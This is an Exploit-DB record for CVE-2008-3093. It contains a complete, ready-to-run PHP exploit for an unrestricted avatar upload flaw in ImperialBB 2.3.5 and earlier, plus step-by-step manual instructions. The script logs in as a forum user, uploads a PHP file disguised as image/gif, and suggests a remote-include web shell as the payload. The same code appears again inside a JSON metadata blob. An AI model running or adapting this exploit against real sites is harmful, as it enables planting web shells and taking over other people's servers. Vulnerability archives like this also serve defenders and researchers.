ID EDB-ID:6008
Type exploitdb
Reporter PHPLizardo
Modified 2008-07-05T00:00:00
Description
ImperialBB <= 2.3.5 Remote File Upload Exploit. CVE-2008-3093. Webapps exploit for php platform
Title : ImperialBB <= 2.3.5 Remote File Upload Vulnerability
Date : 5th July 2008
Found by : PHPLizardo - http://phplizardo.2gb.fr
Greetz : Gu1ll4um3r0m41n
Howto : 1. Go to your User Control Panel
2. Upload any file you want
3. Tamper the request and change the mime-type to : image/gif
4. There is your file : http://site.com/[forum_path]/images/avatars/uploads/[your_nickname]_[filename].[ext]
<?php
/*
Title : ImperialBB <= 2.3.5 Remote Upload Vulnerability
Date : 5th July 2008
Found by : PHPLizardo
Description : This vulnerability can be used by a attacker to upload a malicious script on the webserver.
Greetz : irc.worldnet.net #carib0u
*/
if(count($argv) == 5)
{
echo "\n\n";
echo "+---------------------------------------------------------------+\r\n";
echo "| ImperialBB <= 2.3.5 Remote Upload Vulnerability |\r\n";
echo "| By PHPLizardo - irc.worldnet.net #carib0u |\r\n";
echo "| Usage: php exploit.php site.com /path/ user pass |\r\n";
echo "+---------------------------------------------------------------+\r\n";
echo "\n";
echo "Code to write in the file (ie. <?php include(\$_GET['inc']); ?>) :\r\n\n";
$code = trim(fgets(STDIN));
$socket = @fsockopen($argv[1], 80, $eno, $estr, 30);
if(!$socket)
{
die("Could not connect to ".$argv[1].". Operation aborted.");
}
$part1 = "POST " . $argv[2] . "profile.php?func=edit HTTP/1.1\r\n";
$part1 .= "Host: " . $argv[1] . "\r\n";
$part1 .= "Accept: */*\r\n";
$part1 .= "Connection: Close\r\n";
$part1 .= "Cookie: UserName=" . $argv[3] . "; Password=" . md5(md5($argv[4])) . "\r\n";
$part1 .= "Content-Type: multipart/form-data; boundary=---------------------------200831142015814\r\n";
$part2 .= "-----------------------------200831142015814\r\n";
$part2 .= "Content-Disposition: form-data; name=\"Email\"\r\n\r\n";
$part2 .= "test@test.test\r\n";
$part2 .= "-----------------------------200831142015814\r\n";
$part2 .= "Content-Disposition: form-data; name=\"Email2\"\r\n\r\n";
$part2 .= "test@test.test\r\n";
$part2 .= "-----------------------------200831142015814\r\n";
$part2 .= "Content-Disposition: form-data; name=\"OldPass\"\r\n\r\n\r\n";
$part2 .= "-----------------------------200831142015814\r\n";
$part2 .= "Content-Disposition: form-data; name=\"PassWord\"\r\n\r\n\r\n";
$part2 .= "-----------------------------200831142015814\r\n";
$part2 .= "Content-Disposition: form-data; name=\"Pass2\"\r\n\r\n\r\n";
$part2 .= "-----------------------------200831142015814\r\n";
$part2 .= "Content-Disposition: form-data; name=\"signature\"\r\n\r\n\r\n";
$part2 .= "-----------------------------200831142015814\r\n";
$part2 .= "Content-Disposition: form-data; name=\"aim\"\r\n\r\n\r\n";
$part2 .= "-----------------------------200831142015814\r\n";
$part2 .= "Content-Disposition: form-data; name=\"icq\"\r\n\r\n\r\n";
$part2 .= "-----------------------------200831142015814\r\n";
$part2 .= "Content-Disposition: form-data; name=\"msn\"\r\n\r\n\r\n";
$part2 .= "-----------------------------200831142015814\r\n";
$part2 .= "Content-Disposition: form-data; name=\"yahoo\"\r\n\r\n\r\n";
$part2 .= "-----------------------------200831142015814\r\n";
$part2 .= "Content-Disposition: form-data; name=\"Remote_Avatar_URL\"\r\n\r\n\r\n";
$part2 .= "-----------------------------200831142015814\r\n";
$part2 .= "Content-Disposition: form-data; name=\"Upload_Avatar\"; filename=\"funypicture.php\"\r\n";
$part2 .= "Content-Type: image/gif\r\n\r\n";
$part2 .= $code."\r\n";
$part2 .= "-----------------------------200831142015814\r\n";
$part2 .= "Content-Disposition: form-data; name=\"month\"\r\n\r\n";
$part2 .= "00\r\n";
$part2 .= "-----------------------------200831142015814\r\n";
$part2 .= "Content-Disposition: form-data; name=\"day\"\r\n\r\n";
$part2 .= "00\r\n";
$part2 .= "-----------------------------200831142015814\r\n";
$part2 .= "Content-Disposition: form-data; name=\"year\"\r\n\r\n";
$part2 .= "0000\r\n";
$part2 .= "-----------------------------200831142015814\r\n";
$part2 .= "Content-Disposition: form-data; name=\"website\"\r\n\r\n\r\n";
$part2 .= "-----------------------------200831142015814\r\n";
$part2 .= "Content-Disposition: form-data; name=\"location\"\r\n\r\n\r\n";
$part2 .= "-----------------------------200831142015814\r\n";
$part2 .= "Content-Disposition: form-data; name=\"email_on_pm\"\r\n\r\n";
$part2 .= "0\r\n";
$part2 .= "-----------------------------200831142015814\r\n";
$part2 .= "Content-Disposition: form-data; name=\"OldPass\"\r\n\r\n\r\n";
$part2 .= "-----------------------------200831142015814\r\n";
$part2 .= "Content-Disposition: form-data; name=\"Submit\"\r\n\r\n";
$part2 .= "Submit\r\n";
$part2 .= "-----------------------------200831142015814--\r\n";
$part1 .= "Content-Length: " . strlen($part2) . "\r\n\r\n";
$part1 .= $part2;
fwrite($socket, $part1);
echo "It might have worked, check if your file is online at -> http://" . $argv[1] . $argv[2] . "/images/avatars/uploads/" . $argv[3] . "_funypicture.php";
}
else
{
echo "\n\n";
echo "+----.-----------------------------------------------------------+\r\n";
echo "| ImperialBB <= 2.3.5 Remote Upload Vulnerability |\r\n";
echo "| By PHPLizardo - irc.worldnet.net #carib0u |\r\n";
echo "| Usage: php exploit.php site.com /path/ user pass |\r\n";
echo "+---------------------------------------------------------------+\r\n";
echo "\n\n";
}
?>
# milw0rm.com [2008-07-05]
{"sourceHref": "https://www.exploit-db.com/download/6008/", "cvss": {"vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:PARTIAL/", "score": 6.5}, "type": "exploitdb", "published": "2008-07-05T00:00:00", "description": "ImperialBB <= 2.3.5 Remote File Upload Exploit. CVE-2008-3093. Webapps exploit for php platform", "id": "EDB-ID:6008", "href": "https://www.exploit-db.com/exploits/6008/", "history": [], "reporter": "PHPLizardo", "hash": "e8e2bcf310420d98c47a6bb44c94ff3ac5282909ad75b9fe5e8711929edbfe63", "bulletinFamily": "exploit", "objectVersion": "1.2", "title": "ImperialBB <= 2.3.5 - Remote File Upload Exploit", "references": [], "osvdbidlist": ["46758"], "modified": "2008-07-05T00:00:00", "edition": 1, "lastseen": "2016-02-01T00:01:12", "sourceData": "Title : ImperialBB <= 2.3.5 Remote File Upload Vulnerability\nDate : 5th July 2008\nFound by : PHPLizardo - http://phplizardo.2gb.fr\nGreetz : Gu1ll4um3r0m41n\n\nHowto : 1. Go to your User Control Panel\n 2. Upload any file you want\n 3. Tamper the request and change the mime-type to : image/gif\n 4. There is your file : http://site.com/[forum_path]/images/avatars/uploads/[your_nickname]_[filename].[ext]\n\t\t\t \n<?php\n/*\n\n\tTitle : ImperialBB <= 2.3.5 Remote Upload Vulnerability\n\tDate : 5th July 2008\n\tFound by : PHPLizardo\n\t\n\tDescription : This vulnerability can be used by a attacker to upload a malicious script on the webserver.\n\n\tGreetz : irc.worldnet.net #carib0u\n\t\t\t\t\t\t\t \n\n*/\n\nif(count($argv) == 5)\n{\n\techo \"\\n\\n\";\n\techo \"+---------------------------------------------------------------+\\r\\n\";\n\techo \"| ImperialBB <= 2.3.5 Remote Upload Vulnerability |\\r\\n\";\n\techo \"| By PHPLizardo - irc.worldnet.net #carib0u |\\r\\n\";\n\techo \"| Usage: php exploit.php site.com /path/ user pass |\\r\\n\";\n\techo \"+---------------------------------------------------------------+\\r\\n\";\n\techo \"\\n\";\n\t\t\n\techo \"Code to write in the file (ie. <?php include(\\$_GET['inc']); ?>) :\\r\\n\\n\";\n\t$code = trim(fgets(STDIN));\n\t\n\t$socket = @fsockopen($argv[1], 80, $eno, $estr, 30);\n\tif(!$socket)\n\t{\n\t\tdie(\"Could not connect to \".$argv[1].\". Operation aborted.\");\n\t}\n\t\n\t$part1 = \"POST \" . $argv[2] . \"profile.php?func=edit HTTP/1.1\\r\\n\";\n\t$part1 .= \"Host: \" . $argv[1] . \"\\r\\n\";\n\t$part1 .= \"Accept: */*\\r\\n\";\n\t$part1 .= \"Connection: Close\\r\\n\";\n\t$part1 .= \"Cookie: UserName=\" . $argv[3] . \"; Password=\" . md5(md5($argv[4])) . \"\\r\\n\";\n\t$part1 .= \"Content-Type: multipart/form-data; boundary=---------------------------200831142015814\\r\\n\";\n\t\n\t$part2 .= \"-----------------------------200831142015814\\r\\n\";\n\t$part2 .= \"Content-Disposition: form-data; name=\\\"Email\\\"\\r\\n\\r\\n\";\n\t$part2 .= \"test@test.test\\r\\n\";\n\t$part2 .= \"-----------------------------200831142015814\\r\\n\";\n\t$part2 .= \"Content-Disposition: form-data; name=\\\"Email2\\\"\\r\\n\\r\\n\";\n\t$part2 .= \"test@test.test\\r\\n\";\n\t$part2 .= \"-----------------------------200831142015814\\r\\n\";\n\t$part2 .= \"Content-Disposition: form-data; name=\\\"OldPass\\\"\\r\\n\\r\\n\\r\\n\";\n\t$part2 .= \"-----------------------------200831142015814\\r\\n\";\n\t$part2 .= \"Content-Disposition: form-data; name=\\\"PassWord\\\"\\r\\n\\r\\n\\r\\n\";\n\t$part2 .= \"-----------------------------200831142015814\\r\\n\";\n\t$part2 .= \"Content-Disposition: form-data; name=\\\"Pass2\\\"\\r\\n\\r\\n\\r\\n\";\n\t$part2 .= \"-----------------------------200831142015814\\r\\n\";\n\t$part2 .= \"Content-Disposition: form-data; name=\\\"signature\\\"\\r\\n\\r\\n\\r\\n\";\n\t$part2 .= \"-----------------------------200831142015814\\r\\n\";\n\t$part2 .= \"Content-Disposition: form-data; name=\\\"aim\\\"\\r\\n\\r\\n\\r\\n\";\n\t$part2 .= \"-----------------------------200831142015814\\r\\n\";\n\t$part2 .= \"Content-Disposition: form-data; name=\\\"icq\\\"\\r\\n\\r\\n\\r\\n\";\n\t$part2 .= \"-----------------------------200831142015814\\r\\n\";\n\t$part2 .= \"Content-Disposition: form-data; name=\\\"msn\\\"\\r\\n\\r\\n\\r\\n\";\n\t$part2 .= \"-----------------------------200831142015814\\r\\n\";\n\t$part2 .= \"Content-Disposition: form-data; name=\\\"yahoo\\\"\\r\\n\\r\\n\\r\\n\";\n\t$part2 .= \"-----------------------------200831142015814\\r\\n\";\n\t$part2 .= \"Content-Disposition: form-data; name=\\\"Remote_Avatar_URL\\\"\\r\\n\\r\\n\\r\\n\";\n\t$part2 .= \"-----------------------------200831142015814\\r\\n\";\n\t$part2 .= \"Content-Disposition: form-data; name=\\\"Upload_Avatar\\\"; filename=\\\"funypicture.php\\\"\\r\\n\";\n\t$part2 .= \"Content-Type: image/gif\\r\\n\\r\\n\";\n\t$part2 .= $code.\"\\r\\n\";\n\t$part2 .= \"-----------------------------200831142015814\\r\\n\";\n\t$part2 .= \"Content-Disposition: form-data; name=\\\"month\\\"\\r\\n\\r\\n\";\n\t$part2 .= \"00\\r\\n\";\n\t$part2 .= \"-----------------------------200831142015814\\r\\n\";\n\t$part2 .= \"Content-Disposition: form-data; name=\\\"day\\\"\\r\\n\\r\\n\";\n\t$part2 .= \"00\\r\\n\";\n\t$part2 .= \"-----------------------------200831142015814\\r\\n\";\n\t$part2 .= \"Content-Disposition: form-data; name=\\\"year\\\"\\r\\n\\r\\n\";\n\t$part2 .= \"0000\\r\\n\";\n\t$part2 .= \"-----------------------------200831142015814\\r\\n\";\n\t$part2 .= \"Content-Disposition: form-data; name=\\\"website\\\"\\r\\n\\r\\n\\r\\n\";\n\n\t$part2 .= \"-----------------------------200831142015814\\r\\n\";\n\t$part2 .= \"Content-Disposition: form-data; name=\\\"location\\\"\\r\\n\\r\\n\\r\\n\";\n\t$part2 .= \"-----------------------------200831142015814\\r\\n\";\n\t$part2 .= \"Content-Disposition: form-data; name=\\\"email_on_pm\\\"\\r\\n\\r\\n\";\n\t$part2 .= \"0\\r\\n\";\n\t$part2 .= \"-----------------------------200831142015814\\r\\n\";\n\t$part2 .= \"Content-Disposition: form-data; name=\\\"OldPass\\\"\\r\\n\\r\\n\\r\\n\";\n\t$part2 .= \"-----------------------------200831142015814\\r\\n\";\n\t$part2 .= \"Content-Disposition: form-data; name=\\\"Submit\\\"\\r\\n\\r\\n\";\n\t$part2 .= \"Submit\\r\\n\";\n\t$part2 .= \"-----------------------------200831142015814--\\r\\n\";\n\t\n\t$part1 .= \"Content-Length: \" . strlen($part2) . \"\\r\\n\\r\\n\";\n\t\n\t\n\t\n\t$part1 .= $part2;\n\t\n\tfwrite($socket, $part1);\n\t\n\techo \"It might have worked, check if your file is online at -> http://\" . $argv[1] . $argv[2] . \"/images/avatars/uploads/\" . $argv[3] . \"_funypicture.php\";\n\t\n}\nelse\n{\n\techo \"\\n\\n\";\n\techo \"+----.-----------------------------------------------------------+\\r\\n\";\n\techo \"| ImperialBB <= 2.3.5 Remote Upload Vulnerability |\\r\\n\";\n\techo \"| By PHPLizardo - irc.worldnet.net #carib0u |\\r\\n\";\n\techo \"| Usage: php exploit.php site.com /path/ user pass |\\r\\n\";\n\techo \"+---------------------------------------------------------------+\\r\\n\";\n\techo \"\\n\\n\";\n}\n?>\n\n# milw0rm.com [2008-07-05]\n", "viewCount": 0, "cvelist": ["CVE-2008-3093"], "enchantments": {"vulnersScore": 8.3}}
{"result": {"cve": [{"id": "CVE-2008-3093", "type": "cve", "title": "CVE-2008-3093", "description": "Unrestricted file upload vulnerability in ImperialBB 2.3.5 and earlier allows remote authenticated users to upload and execute arbitrary PHP code by placing a .php filename in the Upload_Avatar parameter and sending the image/gif content type.", "published": "2008-07-09T15:33:00", "cvss": {"score": 6.5, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-3093", "cvelist": ["CVE-2008-3093"], "lastseen": "2017-09-29T14:25:58"}]}}